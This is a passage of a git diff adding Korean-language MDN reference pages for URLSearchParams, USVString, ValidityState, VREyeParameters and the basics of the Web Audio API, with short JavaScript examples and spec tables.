+searchParams.getAll("topic"); // ["api"]
+searchParams.get("foo") === null; // true
+searchParams.append("topic", "webdev");
+searchParams.toString(); // "q=URLUtils.searchParams&amp;topic=api&amp;topic=webdev"
+searchParams.set("topic", "More webdev");
+searchParams.toString(); // "q=URLUtils.searchParams&amp;topic=More+webdev"
+searchParams.delete("topic");
+searchParams.toString(); // "q=URLUtils.searchParams"
+</pre>
+
+<h3 id="주의점">주의점</h3>
+
+<p><code>URLSearchParams</code> 생성자는 전체 URL을 분석하지 않습니다. 그러나, 맨 앞의 <code>?</code>는 제거합니다.</p>
+
+<pre>var paramsString1 = "http://example.com/search?query=%40";
+var searchParams1 = new URLSearchParams(paramsString1);
+
+searchParams1.has("query"); // false
+searchParams1.has("http://example.com/search?query"); // true
+
+searchParams1.get("query"); // null
+searchParams1.get("http://example.com/search?query"); // "@" (equivalent to decodeURIComponent('%40'))
+
+var paramsString2 = "?query=value";
+var searchParams2 = new URLSearchParams(paramsString2);
+searchParams2.has("query"); // true
+
+var url = new URL("http://example.com/search?query=%40");
+var searchParams3 = new URLSearchParams(url.search);
+searchParams3.has("query") // true</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">비고</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('URL', '#urlsearchparams', "URLSearchParams")}}</td>
+   <td>{{Spec2('URL')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.URLSearchParams")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{domxref("URL")}} 인터페이스.</li>
+ <li><a href="https://developers.google.com/web/updates/2016/01/urlsearchparams?hl=en">Google Developers: Easy URL manipulation with URLSearchParams</a></li>
+</ul>
+
+<dl>
+</dl>
diff --git a/files/ko/web/api/urlsearchparams/tostring/index.html b/files/ko/web/api/urlsearchparams/tostring/index.html
new file mode 100644
index 0000000000..45f0373dec
--- /dev/null
+++ b/files/ko/web/api/urlsearchparams/tostring/index.html
@@ -0,0 +1,78 @@
+---
+title: URLSearchParams.toString()
+slug: Web/API/URLSearchParams/toString
+translation_of: Web/API/URLSearchParams/toString
+---
+<p>{{ApiRef("URL API")}}</p>
+
+<p><strong><code>toString()</code> </strong>은 {{domxref("URLSearchParams")}} 인터페이스의 메소드로서, URL에서 사용할 수 있는 쿼리 문자열을 리턴합니다.</p>
+
+<div class="blockIndicator note">
+<p><strong>Note</strong>: 이 메소드는 물음표가 없는 쿼리 문자열을 리턴합니다. 이는 물음표를 포함하여 리턴하는 <a href="https://developer.mozilla.org/en-US/docs/Web/API/HTMLHyperlinkElementUtils/search">window.location.search</a>와는 다른 부분입니다.</p>
+</div>
+
+<p>{{availableinworkers}}</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">URLSearchParams.toString()</pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<p>None.</p>
+
+<h3 id="Return_value">Return value</h3>
+
+<p>A {{domxref("DOMString")}}, without the question mark.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<pre class="brush: js">let url = new URL('https://example.com?foo=1&amp;bar=2');
+let params = new URLSearchParams(url.search.slice(1));
+
+//두번째 foo 파라미터를 추가합니다.
+params.append('foo', 4);
+console.log(params.toString());
+//'foo=1&amp;bar=2&amp;foo=4'를 출력합니다.
+
+// note: params can also be directly created
+let url = new URL('https://example.com?foo=1&amp;bar=2');
+let params = url.searchParams;
+
+// or even simpler
+let params = new URLSearchParams('foo=1&amp;bar=2');
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('URL', '#interface-urlsearchparams', "toString() (see \"stringifier\")")}}</td>
+   <td>{{Spec2('URL')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+
+
+<p>{{Compat("api.URLSearchParams.toString")}}</p>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>The {{domxref("URL")}} interface.</li>
+ <li><a href="https://developers.google.com/web/updates/2016/01/urlsearchparams?hl=en">Google Developers: Easy URL manipulation with URLSearchParams</a></li>
+</ul>
diff --git a/files/ko/web/api/urlsearchparams/urlsearchparams/index.html b/files/ko/web/api/urlsearchparams/urlsearchparams/index.html
new file mode 100644
index 0000000000..94f138a633
--- /dev/null
+++ b/files/ko/web/api/urlsearchparams/urlsearchparams/index.html
@@ -0,0 +1,76 @@
+---
+title: URLSearchParams()
+slug: Web/API/URLSearchParams/URLSearchParams
+translation_of: Web/API/URLSearchParams/URLSearchParams
+---
+<p>{{ApiRef("URL API")}}</p>
+
+<p><code><strong>URLSearchParams()</strong></code> 생성자는 새로운 {{domxref("URLSearchParams")}} 객체를 생성하고 반환합니다.</p>
+
+<p>{{availableinworkers}}</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox notranslate">var <em>URLSearchParams</em> = new URLSearchParams(<em>init</em>);</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<p><em><code>init</code></em> {{optional_inline}}</p>
+
+<p>다음 중 하나:</p>
+
+<ul>
+ <li>{{domxref("USVString")}}은 <code>application/x-www-form-urlencoded</code> 형식에서 해석됩니다. 선행문자인 <code>'?'</code> 는 무시됩니다.</li>
+ <li>일련의 {{domxref("USVString")}} 쌍은, 이름/값(names/values)을 나타냅니다.</li>
+ <li>{{domxref("USVString")}}은 키(keys)와 속성(values)의 레코드입니다.</li>
+</ul>
+
+<h3 id="반환값">반환값</h3>
+
+<p>{{domxref("URLSearchParams")}} 객체 인스턴스</p>
+
+<h2 id="예제">예제</h2>
+
+<p>다음 예제는 URL string으로부터 {{domxref("URLSearchParams")}} 객체가 어떻게 만들어지는지를 보여줍니다.</p>
+
+<pre class="brush: js notranslate">// url 생성자에 전달된 주소를 url.search를 통해 params라는 변수로 검색합니다.
+var url = new URL('https://example.com?foo=1&amp;bar=2');
+var params = new URLSearchParams(url.search);
+
+// 문자열 리터럴을 전달합니다.
+var params2 = new URLSearchParams("foo=1&amp;bar=2");
+var params2a = new URLSearchParams("?foo=1&amp;bar=2");
+
+// 일련의 쌍으로 전달합니다.
+var params3 = new URLSearchParams([["foo", "1"], ["bar", "2"]]);
+
+// 레코드로 전달합니다.
+var params4 = new URLSearchParams({"foo": "1", "bar": "2"});
+</pre>
+
+<h2 id="사양">사양</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">비고</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('URL', '#dom-urlsearchparams-urlsearchparams', "URLSearchParams()")}}</td>
+   <td>{{Spec2('URL')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+
+
+<p>{{Compat("api.URLSearchParams.URLSearchParams")}}</p>
+</div>
diff --git a/files/ko/web/api/usvstring/index.html b/files/ko/web/api/usvstring/index.html
new file mode 100644
index 0000000000..b3282f2b96
--- /dev/null
+++ b/files/ko/web/api/usvstring/index.html
@@ -0,0 +1,40 @@
+---
+title: USVString
+slug: Web/API/USVString
+tags:
+  - API
+  - DOM
+  - Reference
+  - String
+  - WebIDL
+translation_of: Web/API/USVString
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p><span class="seoSummary"><strong><code>USVString</code></strong>은 유니코드 스칼라 값의 모든 가능한 시퀀스 집합에 해당합니다. <code>USVString</code>이 JavaScript로 전달될 땐 {{jsxref("String")}}으로 매핑되며, 보통 유니코드 스칼라 값 문자열을 필요로 하는 텍스트 처리 API에서만 사용합니다.</span> <code>USVString</code>은 짝짓지 않은 서로게이트 코드포인트를 허용하지 않는 점을 제외하면 {{domxref("DOMString")}}과 같습니다. <code>USVString</code>의 해당 코드포인트는 브라우저가 유니코드 "대체 문자" <code>U+FFFD</code>(�)로 변환합니다.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">코멘트</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('WebIDL', '#idl-USVString', 'USVString')}}</td>
+   <td>{{Spec2('WebIDL')}}</td>
+   <td>초기 정의.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("String")}}</li>
+ <li>{{domxref("DOMString")}}</li>
+ <li>{{domxref("CSSOMString")}}</li>
+ <li><a href="/ko/docs/Web/API/DOMString/Binary">이진 문자열</a></li>
+</ul>
diff --git a/files/ko/web/api/validitystate/index.html b/files/ko/web/api/validitystate/index.html
new file mode 100644
index 0000000000..ee2e9a1b6e
--- /dev/null
+++ b/files/ko/web/api/validitystate/index.html
@@ -0,0 +1,83 @@
+---
+title: ValidityState
+slug: Web/API/ValidityState
+tags:
+  - API
+  - Constraint Validation API
+  - Forms
+  - HTML DOM
+  - Interface
+translation_of: Web/API/ValidityState
+---
+<div>{{APIRef("HTML DOM")}}</div>
+
+<p><strong><code>ValidityState</code></strong> 인터페이스는 제약 유효성 검사에 대해 요소가 가질 수 있는 유효성 상태를 나타내며, 요소의 값이 유효하지 않은 경우 그 이유에 대한 설명을 도와줍니다.</p>
+
+<h2 id="속성">속성</h2>
+
+<p>각각의 {{jsxref("Boolean")}} 속성에 대해, <code>true</code> 값은 해당 이유로 인해 값의 유효성 검사를 실패했음을 나타냅니다. <code><strong>valid</strong></code> 속성은 예외로서 <code>true</code>는 모든 제약조건을 통과했음을 의미합니다.</p>
+
+<dl>
+ <dt>{{domxref("ValidityState.badInput", "badInput")}} {{ReadOnlyInline}}</dt>
+ <dd>사용자가 입력한 값을 브라우저가 변환하지 못했음을 나타내는 {{jsxref("Boolean")}} 값입니다.</dd>
+ <dt><code>customError</code> {{ReadOnlyInline}}</dt>
+ <dd>{{domxref('HTMLObjectElement.setCustomValidity', 'setCustomValidity()')}} 메서드를 사용해 요소의 사용자 지정 유효성 메시지를 비어있지 않은 문자열로 설정했는지를 나타내는 {{jsxref("Boolean")}} 값입니다.</dd>
+ <dt>{{domxref("ValidityState.patternMismatch", "patternMismatch")}} {{ReadOnlyInline}}</dt>
+ <dd>값이 주어진 {{htmlattrxref("pattern", "input")}} 특성을 만족하지 못하는지 나타내는 {{jsxref("Boolean")}} 값입니다 참일 경우, CSS {{cssxref(":invalid")}} 의사 클래스를 만족합니다.</dd>
+ <dt>{{domxref("ValidityState.rangeOverflow", "rangeOverflow")}} {{ReadOnlyInline}}</dt>
+ <dd>값이 주어진 {{htmlattrxref("max", "input")}} 특성보다 큰지 나타내는 {{jsxref("Boolean")}} 값입니다. 참일 경우, CSS {{cssxref(":invalid")}}와 {{cssxref(":out-of-range")}} 의사 클래스를 만족합니다.</dd>
+ <dt>{{domxref("ValidityState.rangeUnderflow", "rangeUnderflow")}} {{ReadOnlyInline}}</dt>
+ <dd>값이 주어진 {{htmlattrxref("min", "input")}} 특성보다 작은지 나타내는 {{jsxref("Boolean")}} 값입니다. 참일 경우, CSS {{cssxref(":invalid")}}와 {{cssxref(":out-of-range")}} 의사 클래스를 만족합니다.</dd>
+ <dt>{{domxref("ValidityState.stepMismatch", "stepMismatch")}} {{ReadOnlyInline}}</dt>
+ <dd>값이 주어진 {{htmlattrxref("step", "input")}} 특성의 규칙을 만족하지 않는지 (즉, 값을 스텝 값으로 나눌 수 없는지) 나타내는 {{jsxref("Boolean")}} 값입니다. 참일 경우, CSS {{cssxref(":invalid")}}와 {{cssxref(":out-of-range")}} 의사 클래스를 만족합니다.</dd>
+ <dt>{{domxref("ValidityState.tooLong", "tooLong")}} {{ReadOnlyInline}}</dt>
+ <dd>값이 {{domxref("HTMLInputElement")}} 또는 {{domxref("HTMLTextAreaElement")}} 객체의 <code>maxlength</code> 값보다 긴지 나타내는 {{jsxref("Boolean")}} 값입니다. 참일 경우, CSS {{cssxref(":invalid")}}와 {{cssxref(":out-of-range")}} 의사 클래스를 만족합니다.</dd>
+ <dt>{{domxref("ValidityState.tooShort", "tooShort")}} {{ReadOnlyInline}}</dt>
+ <dd>값이 {{domxref("HTMLInputElement")}} 또는 {{domxref("HTMLTextAreaElement")}} 객체의 <code>minLength</code> 값보다 짧은지 나타내는 {{jsxref("Boolean")}} 값입니다. 참일 경우, CSS {{cssxref(":invalid")}}와 {{cssxref(":out-of-range")}} 의사 클래스를 만족합니다.</dd>
+ <dt>{{domxref("ValidityState.typeMismatch", "typeMismatch")}} {{ReadOnlyInline}}</dt>
+ <dd>값이 입력 유형에서 요구하는 형식({{htmlattrxref("type", "input")}}이 <code>email</code>이나 <code>url</code>인 경우)에 맞지 않는지 나타내는 {{jsxref("Boolean")}} 값입니다. 참일 경우, CSS {{cssxref(":invalid")}} 의사 클래스를 만족합니다.</dd>
+ <dt><code>valid</code> {{ReadOnlyInline}}</dt>
+ <dd>요소가 모든 유효성 제약을 만족하여 유효한 상태인지 나타내는 {{jsxref("Boolean")}} 값입니다. 참일 경우 CSS {{cssxref(":valid")}} 의사 클래스를, 거짓일 경우 {{cssxref(":invalid")}} 의사 클래스를 만족합니다.</dd>
+ <dt>{{domxref("ValidityState.valueMissing", "valueMissing")}} {{ReadOnlyInline}}</dt>
+ <dd>요소가 {{htmlattrxref("required", "input")}} 특성을 가지고 있지만 값은 없는 경우 참인 {{jsxref("Boolean")}} 값입니다. 참일 경우, CSS {{cssxref(":invalid")}} 의사 클래스를 만족합니다.</dd>
+</dl>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{ SpecName('HTML WHATWG', 'form-control-infrastructure.html#validitystate', 'ValidityState') }}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Living Standard</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('HTML5.1', 'sec-forms.html#validitystate-validitystate', 'ValidityState') }}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td>No change from the previous snapshot {{SpecName('HTML5 W3C')}}.</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('HTML5 W3C', 'forms.html#validitystate', 'ValidityState') }}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>First snapshot of  {{SpecName('HTML WHATWG')}} containing this interface.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.ValidityState")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Guide/HTML/HTML5/Constraint_validation">Guide: Constraint validation</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Forms/Form_validation">Tutorial: Form data validation</a></li>
+</ul>
diff --git a/files/ko/web/api/vreyeparameters/index.html b/files/ko/web/api/vreyeparameters/index.html
new file mode 100644
index 0000000000..79f25639ba
--- /dev/null
+++ b/files/ko/web/api/vreyeparameters/index.html
@@ -0,0 +1,88 @@
+---
+title: VREyeParameters
+slug: Web/API/VREyeParameters
+tags:
+  - API
+  - Experimental
+  - Landing
+  - Reference
+  - VR
+  - Virtual Reality
+  - WebVR
+translation_of: Web/API/VREyeParameters
+---
+<div>{{APIRef("WebVR API")}}{{SeeCompatTable}}</div>
+
+<p><a href="/en-US/docs/Web/API/WebVR_API">WebVR API</a>의 <code><strong>VREyeParameters</strong></code> 인터페이스는 시야 정보 필드를 포함하여 특정한 눈에 대한 장면을 정확하게 렌더링 하는 데 필요한 모든 정보를 나타냅니다.</p>
+
+<p>{{domxref("VRDisplay.getEyeParameters()")}} 방법을 통해 액세스 할 수 있습니다.</p>
+
+<div class="warning">
+<p>The values in this interface should not be used to compute view or projection matrices. In order to ensure the widest possible hardware compatibility use the matrices provided by {{domxref("VRFrameData")}}.</p>
+</div>
+
+<h2 id="속성">속성</h2>
+
+<dl>
+ <dt>{{domxref("VREyeParameters.offset")}} {{readonlyInline}}</dt>
+ <dd>사용자 눈 사이의 중심점에서 눈 중심까지의 거리를 미터 단위로 나타냅니다.</dd>
+ <dt>{{domxref("VREyeParameters.fieldOfView")}} {{readonlyInline}}</dt>
+ <dd>현재 눈에 보이는 시야를 설명하며,사용자가 동공 사이의 거리(m/s)를 조절할 때 달라질 수 있습니다.(IPD).</dd>
+ <dt>{{domxref("VREyeParameters.renderWidth")}} {{readonlyInline}}</dt>
+ <dd>각 눈 뷰포트의 권장 렌더 타겟 폭을 픽셀 단위로 설명합니다.</dd>
+ <dt>{{domxref("VREyeParameters.renderHeight")}} {{readonlyInline}}</dt>
+ <dd>각 눈 뷰포트의 권장 렌더 타겟 높이를 픽셀 단위로 나타냅니다..</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: js">navigator.getVRDisplays().then(function(displays) {
+  // If a display is available, use it to present the scene
+  vrDisplay = displays[0];
+  console.log('Display found');
+  // Starting the presentation when the button is clicked:
+  //   It can only be called in response to a user gesture
+  btn.addEventListener('click', function() {
+    vrDisplay.requestPresent([{ source: canvas }]).then(function() {
+      console.log('Presenting to WebVR display');
+
+      // Set the canvas size to the size of the vrDisplay viewport
+
+      var leftEye = vrDisplay.getEyeParameters('left');
+      var rightEye = vrDisplay.getEyeParameters('right');
+
+      canvas.width = Math.max(leftEye.renderWidth, rightEye.renderWidth) * 2;
+      canvas.height = Math.max(leftEye.renderHeight, rightEye.renderHeight);
+
+      drawVRScene();
+    });
+  });
+});</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">설명</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('WebVR 1.1', '#vreyeparameters', 'VREyeParameters')}}</td>
+   <td>{{Spec2('WebVR 1.1')}}</td>
+   <td>최초 정의</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성"><span lang="ko">브라우저 호환성</span></h2>
+
+<p>{{Compat("api.VREyeParameters")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/WebVR_API">WebVR API homepage</a></li>
+ <li><a href="http://mozvr.com/">MozVr.com</a> — demos, downloads, and other resources from the Mozilla VR team.</li>
+</ul>
diff --git a/files/ko/web/api/web_audio_api/basic_concepts_behind_web_audio_api/index.html b/files/ko/web/api/web_audio_api/basic_concepts_behind_web_audio_api/index.html
new file mode 100644
index 0000000000..571c15684e
--- /dev/null
+++ b/files/ko/web/api/web_audio_api/basic_concepts_behind_web_audio_api/index.html
@@ -0,0 +1,354 @@
+---
+title: Basic concepts behind Web Audio API
+slug: Web/API/Web_Audio_API/Basic_concepts_behind_Web_Audio_API
+tags:
+  - 가이드
+  - 미디어
+  - 오디오
+  - 웹오디오API
+  - 웹오디오API이론
+  - 이론
+  - 컨셉
+translation_of: Web/API/Web_Audio_API/Basic_concepts_behind_Web_Audio_API
+---
+<div class="summary">
+<p><span class="seoSummary">Web Audio API의 기능이 어떻게 동작하는지에 대한 오디오 이론에 대해서 설명합니다. 마스터 사운드 엔지니어가 될 수 는 없지만, Web Audio API가 왜 그렇게 작동하는지에 대해 이해할 수 있는 충분한 배경 지식을 제공해서 개발중에 더 나은 결정을 내릴 수 있게합니다. </span></p>
+</div>
+
+<h2 id="Audio_graphs">Audio graphs</h2>
+
+<p>The Web Audio API involves handling audio operations inside an <strong>audio context</strong>, and has been designed to allow <strong>modular routing</strong>. Basic audio operations are performed with <strong>audio nodes</strong>, which are linked together to form an <strong>audio routing graph</strong>. Several sources — with different types of channel layout — are supported even within a single context. This modular design provides the flexibility to create complex audio functions with dynamic effects.</p>
+
+<p>Audio nodes are linked via their inputs and outputs, forming a chain that starts with one or more sources, goes through one or more nodes, then ends up at a destination. Although, you don't have to provide a destination if you, say, just want to visualize some audio data. A simple, typical workflow for web audio would look something like this:</p>
+
+<ol>
+ <li>Create audio context.</li>
+ <li>Inside the context, create sources — such as <code>&lt;audio&gt;</code>, oscillator, stream.</li>
+ <li>Create effects nodes, such as reverb, biquad filter, panner, compressor.</li>
+ <li>Choose final destination of audio, for example your system speakers.</li>
+ <li>Connect the sources up to the effects, and the effects to the destination.</li>
+</ol>
+
+<p><img alt="A simple box diagram with an outer box labeled Audio context, and three inner boxes labeled Sources, Effects and Destination. The three inner boxes have arrow between them pointing from left to right, indicating the flow of audio information." src="https://mdn.mozillademos.org/files/12237/webaudioAPI_en.svg" style="display: block; height: 143px; margin: 0px auto; width: 643px;"></p>
+
+<p>Each input or output is composed of several <strong>channels, </strong>which represent a specific audio layout. Any discrete channel structure is supported, including <em>mono</em>, <em>stereo</em>, <em>quad</em>, <em>5.1</em>, and so on.</p>
+
+<p><img alt="Show the ability of AudioNodes to connect via their inputs and outputs and the channels inside these inputs/outputs." src="https://mdn.mozillademos.org/files/14179/mdn.png" style="display: block; height: 360px; margin: 0px auto; width: 630px;"></p>
+
+<p>Audio sources can come from a variety of places:</p>
+
+<ul>
+ <li>Generated directly in JavaScript by an audio node (such as an oscillator).</li>
+ <li>Created from raw PCM data (the audio context has methods to decode supported audio formats).</li>
+ <li>Taken from HTML media elements (such as {{HTMLElement("video")}} or {{HTMLElement("audio")}}).</li>
+ <li>Taken directly from a <a href="/en-US/docs/WebRTC" title="WebRTC">WebRTC</a> {{domxref("MediaStream")}} (such as a webcam or microphone).</li>
+</ul>
+
+<h2 id="Audio_data_what's_in_a_sample">Audio data: what's in a sample</h2>
+
+<p>When an audio signal is processed, <strong>sampling</strong> means the conversion of a <a href="https://en.wikipedia.org/wiki/Continuous_signal" title="Continuous signal">continuous signal</a> to a <a class="mw-redirect" href="https://en.wikipedia.org/wiki/Discrete_signal" title="Discrete signal">discrete signal</a>; or put another way, a continuous sound wave, such as a band playing live, is converted to a sequence of samples (a discrete-time signal) that allow a computer to handle the audio in distinct blocks.</p>
+
+<p>A lot more information can be found on the Wikipedia page <a href="https://en.wikipedia.org/wiki/Sampling_%28signal_processing%29">Sampling (signal processing)</a>.</p>
+
+<h2 id="Audio_buffers_frames_samples_and_channels">Audio buffers: frames, samples and channels</h2>
+
+<p>An {{ domxref("AudioBuffer") }} takes as its parameters a number of channels (1 for mono, 2 for stereo, etc), a length, meaning the number of sample frames inside the buffer, and a sample rate, which is the number of sample frames played per second.</p>
+
+<p>A sample is a single float32 value that represents the value of the audio stream at each specific point in time, in a specific channel (left or right, if in the case of stereo). A frame, or sample frame, is the set of all values for all channels that will play at a specific point in time: all the samples of all the channels that play at the same time (two for a stereo sound, six for 5.1, etc.)</p>
+
+<p>The sample rate is the number of those samples (or frames, since all samples of a frame play at the same time) that will play in one second, measured in Hz. The higher the sample rate, the better the sound quality.</p>
+
+<p>Let's look at a Mono and a Stereo audio buffer, each is one second long, and playing at 44100Hz:</p>
+
+<ul>
+ <li>The Mono buffer will have 44100 samples, and 44100 frames. The <code>length</code> property will be 44100.</li>
+ <li>The Stereo buffer will have 88200 samples, but still 44100 frames. The <code>length</code> property will still be 44100 since it's equal to the number of frames.</li>
+</ul>
+
+<p><img alt="A diagram showing several frames in an audio buffer in a long line, each one containing two samples, as the buffer has two channels, it is stereo." src="https://mdn.mozillademos.org/files/14801/sampleframe-english.png" style="height: 150px; width: 853px;"></p>
+
+<p>When a buffer plays, you will hear the left most sample frame, and then the one right next to it, etc. In the case of stereo, you will hear both channels at the same time. Sample frames are very useful, because they are independent of the number of channels, and represent time, in a useful way for doing precise audio manipulation.</p>
+
+<div class="note">
+<p><strong>Note</strong>: To get a time in seconds from a frame count, simply divide the number of frames by the sample rate. To get a number of frames from a number of samples, simply divide by the channel count.</p>
+</div>
+
+<p>Here's a couple of simple trivial examples:</p>
+
+<pre class="brush: js">var context = new AudioContext();
+var buffer = context.createBuffer(2, 22050, 44100);</pre>
+
+<div class="note">
+<p><strong>Note</strong>: In <a href="https://en.wikipedia.org/wiki/Digital_audio" title="Digital audio">digital audio</a>, <strong>44,100 <a href="https://en.wikipedia.org/wiki/Hertz" title="Hertz">Hz</a></strong> (alternately represented as <strong>44.1 kHz</strong>) is a common <a href="https://en.wikipedia.org/wiki/Sampling_frequency" title="Sampling frequency">sampling frequency</a>. Why 44.1kHz? <br>
+ <br>
+ Firstly, because the <a href="https://en.wikipedia.org/wiki/Hearing_range" title="Hearing range">hearing range</a> of human ears is roughly 20 Hz to 20,000 Hz. Via the <a href="https://en.wikipedia.org/wiki/Nyquist%E2%80%93Shannon_sampling_theorem" title="Nyquist–Shannon sampling theorem">Nyquist–Shannon sampling theorem</a>, the sampling frequency must be greater than twice the maximum frequency one wishes to reproduce. Therefore, the sampling rate has to be greater than 40 kHz.<br>
+ <br>
+ Secondly, signals must be <a href="https://en.wikipedia.org/wiki/Low-pass_filter" title="Low-pass filter">low-pass filtered</a> before sampling, otherwise <a href="https://en.wikipedia.org/wiki/Aliasing" title="Aliasing">aliasing</a> occurs. While an ideal low-pass filter would perfectly pass frequencies below 20 kHz (without attenuating them) and perfectly cut off frequencies above 20 kHz, in practice a <a href="https://en.wikipedia.org/wiki/Transition_band" title="Transition band">transition band</a> is necessary, where frequencies are partly attenuated. The wider this transition band is, the easier and more economical it is to make an <a href="https://en.wikipedia.org/wiki/Anti-aliasing_filter" title="Anti-aliasing filter">anti-aliasing filter</a>. The 44.1 kHz sampling frequency allows for a 2.05 kHz transition band.</p>
+</div>
+
+<p>If you use this call above, you will get a stereo buffer with two channels, that when played back on an AudioContext running at 44100Hz (very common, most normal sound cards run at this rate), will last for 0.5 seconds: 22050 frames/44100Hz = 0.5 seconds.</p>
+
+<pre class="brush: js">var context = new AudioContext();
+var buffer = context.createBuffer(1, 22050, 22050);</pre>
+
+<p>If you use this call, you will get a mono buffer with just one channel), that when played back on an AudioContext running at 44100Hz, will be automatically <em>resampled</em> to 44100Hz (and therefore yield 44100 frames), and last for 1.0 second: 44100 frames/44100Hz = 1 second.</p>
+
+<div class="note">
+<p><strong>Note</strong>: audio resampling is very similar to image resizing. Say you've got a 16 x 16 image, but you want it to fill a 32x32 area. You resize (or resample) it. The result has less quality (it can be blurry or edgy, depending on the resizing algorithm), but it works, with the resized image taking up less space. Resampled audio is exactly the same: you save space, but in practice you will be unable to properly reproduce high frequency content, or treble sound.</p>
+</div>
+
+<h3 id="Planar_versus_interleaved_buffers">Planar versus interleaved buffers</h3>
+
+<p>The Web Audio API uses a planar buffer format. The left and right channels are stored like this:</p>
+
+<pre>LLLLLLLLLLLLLLLLRRRRRRRRRRRRRRRR (for a buffer of 16 frames)</pre>
+
+<p>This is very common in audio processing: it makes it easy to process each channel independently.</p>
+
+<p>The alternative is to use an interleaved buffer format:</p>
+
+<pre>LRLRLRLRLRLRLRLRLRLRLRLRLRLRLRLR (for a buffer of 16 frames)</pre>
+
+<p>This format is very common for storing and playing back audio without much processing, for example a decoded MP3 stream.<br>
+ <br>
+ The Web Audio API exposes <strong>only</strong> planar buffers, because it's made for processing. It works with planar, but converts the audio to interleaved when it is sent to the sound card for playback. Conversely, when an MP3 is decoded, it starts off in interleaved format, but is converted to planar for processing.</p>
+
+<h2 id="Audio_channels">Audio channels</h2>
+
+<p>Different audio buffers contain different numbers of channels: from the more basic mono (only one channel) and stereo (left and right channels), to more complex sets like quad and 5.1, which have different sound samples contained in each channel, leading to a richer sound experience. The channels are usually represented by standard abbreviations detailed in the table below:</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td><em>Mono</em></td>
+   <td><code>0: M: mono</code></td>
+  </tr>
+  <tr>
+   <td><em>Stereo</em></td>
+   <td><code>0: L: left<br>
+    1: R: right</code></td>
+  </tr>
+  <tr>
+   <td><em>Quad</em></td>
+   <td><code>0: L: left<br>
+    1: R: right<br>
+    2: SL: surround left<br>
+    3: SR: surround right</code></td>
+  </tr>
+  <tr>
+   <td><em>5.1</em></td>
+   <td><code>0: L: left<br>
+    1: R: right<br>
+    2: C: center<br>
+    3: LFE: subwoofer<br>
+    4: SL: surround left<br>
+    5: SR: surround right</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Up-mixing_and_down-mixing">Up-mixing and down-mixing</h3>
+
+<p>When the number of channels doesn't match between an input and an output, up- or down-mixing happens according the following rules. This can be somewhat controlled by setting the {{domxref("AudioNode.channelInterpretation")}} property to <code>speakers</code> or <code>discrete</code>:</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="row">Interpretation</th>
+   <th scope="col">Input channels</th>
+   <th scope="col">Output channels</th>
+   <th scope="col">Mixing rules</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th colspan="1" rowspan="13" scope="row"><code>speakers</code></th>
+   <td><code>1</code> <em>(Mono)</em></td>
+   <td><code>2</code> <em>(Stereo)</em></td>
+   <td><em>Up-mix from mono to stereo</em>.<br>
+    The <code>M</code> input channel is used for both output channels (<code>L</code> and <code>R</code>).<br>
+    <code>output.L = input.M<br>
+    output.R = input.M</code></td>
+  </tr>
+  <tr>
+   <td><code>1</code> <em>(Mono)</em></td>
+   <td><code>4</code> <em>(Quad)</em></td>
